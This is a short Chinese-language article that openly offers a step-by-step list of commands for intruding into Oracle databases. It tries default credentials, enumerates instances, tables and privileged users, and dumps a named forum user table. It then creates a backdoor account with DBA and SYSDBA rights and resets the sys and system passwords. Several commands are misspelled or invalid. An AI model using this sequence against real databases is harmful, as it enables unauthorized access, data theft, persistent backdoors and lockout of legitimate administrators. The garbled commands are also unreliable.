本文主要講述的是入侵Oracle數據庫時我們經常使用的操作命令的相關整理,本文主要是按照步驟的講解,來進行入侵Oracle數據庫時的運用命令的整理。以下就是文章的詳細內容的描述,希望你會有所收獲。
1、su–Oracle不是必需,適合於沒有DBA密碼時使用,可以不用密碼來進入sqlplus界面。
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
3、SQL>connect / as sysdba ;(as sysoper)或
connect internal/Oracle AS SYSDBA ;(scott/tiger)
conn sys/change_on_install as sysdba;
4、SQL>startup; 啟動數據庫實例
5、 查看當前的所有數據庫:
- select * from v$database;
- select name from v$database;
desc v$databases; 查看Oracle數據庫結構字段
6、怎樣查看哪些用戶擁有SYSDBA、SYSOPER權限:
- SQL>select * from V_$PWFILE_USERS;
Show user;查看當前數據庫連接用戶
7、進入test數據庫:database test;
8、查看所有的Oracle數據庫實例:
- select * from v$instance;
如:ora9i
9、查看當前庫的所有數據表
- SQL> select TABLE_NAME from all_tables;
- select * from all_tables;
- SQL> select table_name from all_tables
where table_name like ´%u%´;- TABLE_NAME
- _default_auditing_options_
10、查看表結構:
- desc all_tables;
11、顯示CQI.T_BBS_XUSER的所有字段結構:
- desc CQI.T_BBS_XUSER;
12、獲得CQI.T_BBS_XUSER表中的記錄:
- select * from CQI.T_BBS_XUSER;
13、增加Oracle數據庫用戶:
- create user test11 identifIEd by test default
- tablespace users Temporary TABLESPACE Temp;
14、用戶授權:
- grant connect,resource,dba to test11;
- grant sysdba to test11;
- commit;
15、更改Oracle數據庫用戶的密碼:(將sys與system的密碼改為test.)
- alter user sys indentifIEd by test;
- alter user system indentifIEd by test;
以上就是相關內容的部分描述,希望你會有所收獲。